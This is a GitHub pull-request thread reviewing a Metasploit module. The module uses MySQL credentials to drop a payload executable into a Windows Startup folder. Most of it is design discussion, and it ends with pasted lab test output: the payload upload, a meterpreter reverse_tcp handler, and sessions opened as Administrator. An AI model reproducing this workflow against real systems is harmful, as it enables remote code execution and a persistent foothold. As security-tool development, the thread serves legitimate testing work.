Shameless variation (ripoff) on sinn3r's mysql_mof.rb module.

[veritysr]

@sinn3r - Haven't got WbemExec working on Vista+ yet. Came up with this though.

[wchen-r7]

Thanks for the variant. I find the approach rather interesting, but I'd like to briefly discuss maybe there's a different way to implement your technique? Specifically the part where you have to set WfsDelay at a high value, and hopefully the user will login before time runs out. I was thinking maybe you can start up a HTTP server first using the HttpServer mixin, login to your target's MySQL and then drop a VBS script that will download+execute your actual executable from the HTTP server. That way your exploit module can wait indefinitely until the user logs in, so you no longer have to worry about time running out.

[veritysr]

Wasn't nuts about the idea of setting WfsDelay to 259,200 either. ;)

Sounds like a good idea to me. I'll get to coding and testing it this afternoon.

[jvazquez-r7]

Since you can't ensure which there is going to be a session back, even when the target is vulnerable, it looks a little like a "fileformat" exploit, where the msf user is responsible of running a handler in order to get the sessions. Has it sense?

Maybe it also could be just an auxiliary module, which just drops files to the startups folders, and the msf user is responsible of running a handler to get sessions if he drops metasploit payloads.

Just sharing thoughts :) This comment ISN'T a recommendation to modify this pull request! Is just discussion because I think it's an interesting topic.

BTW, there are other exploits on the framework which drop payload to Startup folders, like modules/exploits/windows/browser/enjoysapgui_comp_download.rb, modules/exploits/windows/browser/persits_xupload_traversal.rb, modules/exploits/windows/browser/symantec_altirideployment_downloadandinstall.rb, modules/exploits/windows/browser/zenturiprogramchecker.rb, modules/exploits/windows/misc/timbuktu_fileupload.rb, or modules/exploits/windows/fileformat/foxit_reader_filewrite.rb

[Meatballs1]

Why not copy the bits from multi/handler exploit function and just wait for a response? Or make an indefinite_handler mixin to handle this? Or allow a WFSDelay -1 or 0 to wait indefinitely? Or how does ::Remote::TcpServer prevent the handler from closing?

Ideally having additional download and execute HTTP channels should be avoided as its another channel of communication that you have to get out from the host imo.

[wchen-r7]

Meatballs1 - I'm not sure if you want WFSDelay to wait indefinitely because if this is used in autoexploit, I think it'll hang.

[Meatballs1]

But an exploit that is unlikely to get an immediate response shouldn't be targeted in any auto-exploitation?

[wchen-r7]

Exploits with a high WFSDelay value definitely get loaded by autoexploit. I can tell you how much I believe autoexploit needs a rewrite, but I don't think we can solve that today... or any day soon.

[todb]

Whose autoexploit? Long running exploits are a thing sometimes, so it's up
to Pro or Armitage or whomever to Deal With It. I wouldn't worry about it.
On Jul 25, 2013 11:49 AM, "sinn3r" notifications@github.com wrote:

Exploits with a high WFSDelay value definitely get loaded by autoexploit.
I can tell you how much I believe autoexploit needs a rewrite, but I don't
think we can solve that today... or any day soon.

—
Reply to this email directly or view it on GitHubhttps://github.com//pull/2156#issuecomment-21567913
.

[wchen-r7]

Pro's. Adding log running exploits only makes the user experience worse, so I'd avoid doing that. This is obviously commercial team's problem, but you can't cause something unusable and tell them to suck it :-) "Them" includes your users, too.

[todb-r7]

While I appreciate the concern, Pro's auto exploit mechanism has a user setting of EXPLOIT_TIMEOUT which has a sane (if generous) default of 180 seconds. I assume Armitage and msfgui and PwnieExpress and everyone else has something similar, since this isn't the first exploit to possibly be long-running.

I just don't want to slide into the business of accepting or denying useful open source exploits just because Pro might have a problem with it, since that kind of undercuts the credibility of Metasploit Framework as a truly free and open source platform for exploitation.

@trosen-r7 feel free to confirm or deny. Tl;dr: if EXPLOIT_TIMEOUT is broken over in Pro land, the bug is on them to fix. (FWIW, I don't believe it is broken)

Incidentally, Pro (and Community) users also have the option of single exploit tasks; in this case, I want them to be able to run our exploits in the cases where it makes sense.

[todb-r7]

*slight edits on my comment for grammer

[wchen-r7]

I just don't want to slide into the business of accepting or denying useful open source exploits

We're not denying anything. We're simply looking for a different way to write it. The main issue is that eventually the wait time eventually runs out, and you miss getting a shell. It's better to just wait until the user logs in.

[todb-r7]

Oh, okay. I thought you were resisting a long WfsDelay because of concerns about long-running autoexploit functions, not because there's just a better way in general. If there's a better way, by all means.

[veritysr]

@jvazquez-r7 - I see what you're driving at with regards to this behaving like a "fileformat" exploit (needs to wait for user interaction). My motivation for submitting this though was to provide msf users (who have obtained creds to a MySQL/Windows instance) another option for remote code exec since WbemExec doesn't support Vista+ yet. Writing to the file system as SYSTEM is just too good to pass up. :) So from an msf user's workflow standpoint, I would like to see it stay in exploit/windows/mysql as an alternative to mysql_payload and mysql_mof.

[Meatballs1]

Currently this module, #1054 and possibly #2162 could use some form of indefinite wait for the handler. Should we look to provide a mixin for Msf::Exploit::IndefiniteWait or something?

Or do we want to stick with the status quo (for file formats) that the user has to create their own multi-handler? This seems a bit backwards to me as you basically have to re-input your payload settings twice. Make a mistake on the port/payload type and things will fail.

[veritysr]

@Meatballs1 - Your idea makes sense to me. Would it be as simple as grabbing the code from multi/handler's exploit method and tweaking it a bit?

[wvu]

What's up with this PR? :)

[veritysr]

Not sure. It works, as is, for me. Totally understand if this doesn't
meet the "originality" threshold to warrant inclusion in msf though.
On Nov 8, 2013 6:31 PM, "wvu-r7" notifications@github.com wrote:

What's up with this PR? :)

—
Reply to this email directly or view it on GitHubhttps://github.com//pull/2156#issuecomment-28106886
.

[wvu]

Nah, it's definitely useful. I think we just need to spend more time with it. Easy to let things languish accidentally.

[hdm]

Well, this PR has had a year to think things over and reflect on its inner self. We should close it or land it.

[hdm]

Offhand, there are a few issues:

• The title of the module makes it seem like this is a backdoor in MySQL, it should reflect that it is writing a file to disk in order to get code execution
• The query responses are not sanity checked to make sure they included a correct reply
• The "wait forever" mode isn't a good approach, most fileformat modules just drop their payload and exit, assuming the user will run a multi/handler to match
• The module needs to be changed from tab idents to two-space indents (its been that long)

[hdm]

@veritysr Do you want to take a crack at finishing this, or should we close the PR for now?

[veritysr]

I'll make time to make those changes if there's still interest in including
it. Thanks for the feedback.

.

[hdm]

Thanks! Let me know when this is ready for another round and apologies for the delay.

[jvazquez-r7]

On windows XP SP3:

msf exploit(mysql_start_up) > exploit

[*] 172.16.158.132:3306 - Attempting to login as 'juan:juan'
[*] 172.16.158.132:3306 - Uploading to 'C:/programdata/microsoft/windows/start menu/programs/startup/Bhnik.exe'
[-] MySQL Error: RbMysql::ServerError Can't create/write to file 'C:\programdata\microsoft\windows\start menu\programs\startup\Bhnik.exe' (Errcode: 2)
[!] This exploit may require manual cleanup of 'C:/programdata/microsoft/windows/start menu/programs/startup/Bhnik.exe' on the target

On Windows 7:

msf exploit(mysql_start_up) > exploit

[*] 172.16.158.133:3306 - Attempting to login as 'root:root'
[*] 172.16.158.133:3306 - Uploading to 'C:/programdata/microsoft/windows/start menu/programs/startup/opiou.exe'
[!] This exploit may require manual cleanup of 'C:/programdata/microsoft/windows/start menu/programs/startup/opiou.exe' on the target
msf exploit(mysql_start_up) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 172.16.158.133
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.133:49229) at 2015-01-09 11:59:20 -0600

meterpreter > getud
[-] Unknown command: getud.
meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter >

[jvazquez-r7]

I'm going to make configurable the folder for the startup folder, do minor clenup and land! work in progress!

[jvazquez-r7]

Landed after some cleanup, see final result here: 3d20ea8

On XP SP3:

msf exploit(mysql_start_up) > set STARTUP_FOLDER /Documents and Settings/All Users/Start Menu/Programs/Startup/
STARTUP_FOLDER => /Documents and Settings/All Users/Start Menu/Programs/Startup/
msf exploit(mysql_start_up) > exploit

[*] 172.16.158.132:3306 - Attempting to login as 'juan:juan'
[*] 172.16.158.132:3306 - Uploading to 'C:/Documents and Settings/All Users/Start Menu/Programs/Startup/Aigav.exe'
[!] This exploit may require manual cleanup of 'C:/Documents and Settings/All Users/Start Menu/Programs/Startup/Aigav.exe' on the target
msf exploit(mysql_start_up) > use exploit/multi/handler
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.158.1:4444
msf exploit(handler) > [*] Starting the payload handler...

msf exploit(handler) >
[*] Sending stage (770048 bytes) to 172.16.158.132
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.132:2039) at 2015-01-09 12:17:27 -0600

msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
sServer username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32

Thanks @veritysr (sorry for the long delay) and everyone who helped to review , finally landed! :-)

[veritysr]

My bad for not testing more thoroughly. Thank you, @jvazquez-r7!
On Jan 9, 2015 1:25 PM, "Juan Vazquez" notifications@github.com wrote:

Landed after some cleanup, see final result here: 3d20ea8
3d20ea8

On XP SP3:

msf exploit(mysql_start_up) > set STARTUP_FOLDER /Documents and Settings/All Users/Start Menu/Programs/Startup/
STARTUP_FOLDER => /Documents and Settings/All Users/Start Menu/Programs/Startup/
msf exploit(mysql_start_up) > exploit

[] 172.16.158.132:3306 - Attempting to login as 'juan:juan'
[] 172.16.158.132:3306 - Uploading to 'C:/Documents and Settings/All Users/Start Menu/Programs/Startup/Aigav.exe'
[!] This exploit may require manual cleanup of 'C:/Documents and Settings/All Users/Start Menu/Programs/Startup/Aigav.exe' on the target
msf exploit(mysql_start_up) > use exploit/multi/handler
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[] Started reverse handler on 172.16.158.1:4444
msf exploit(handler) > [] Starting the payload handler...

msf exploit(handler) >
[] Sending stage (770048 bytes) to 172.16.158.132
[] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.132:2039) at 2015-01-09 12:17:27 -0600

msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
sServer username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32

Thanks @veritysr https://github.com/veritysr (sorry for the long delay)
and everyone who helped to review , finally landed! :-)

—
Reply to this email directly or view it on GitHub
#2156 (comment)
.